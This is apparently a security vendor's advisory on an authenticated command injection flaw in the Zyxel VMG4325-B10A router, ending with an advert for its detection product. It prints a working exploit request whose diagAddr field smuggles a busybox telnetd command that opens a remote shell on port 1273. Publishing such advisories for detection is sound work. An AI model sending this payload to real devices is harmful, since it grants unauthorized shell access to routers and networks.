Application Details
Zyxel VMG4325-B10A is a dual-band WIFI router.
Vulnerability
Zyxel CPE Series could allow a remote authenticated attacker to execute arbitrary commands on the system.
Identification
The administrative HTTP interface is vulnerable. An attacker could exploit this vulnerability to execute arbitrary commands on affected devices, via a command injection. This could possibily lead to complete system compromise, data exfiltration, or network infiltration.
POST /pages/tabFW/disagnostic-general.cgi
DisplayInfo=&actionType=&sessionKey=2089515112&diagAddr=127.0.0.1
busybox+telnetd+-l+sh+-p+1273&diagTestType=1&DisplayInfo=Detection
By turning this into a traffic file and matching rule, we are able to detect attempts to execute arbitrary commands on the system.
Coverage
Idappcom have created signature 8025697 along with a traffic file for this vulnerability.
References
Traffic IQ
If you are concerned that your business may be at risk of this vulnerability or others why not try out our Traffic IQ software which can scan your defences and report any issues. Learn more here: https://www.idappcom.co.uk/traffic-iq-professional
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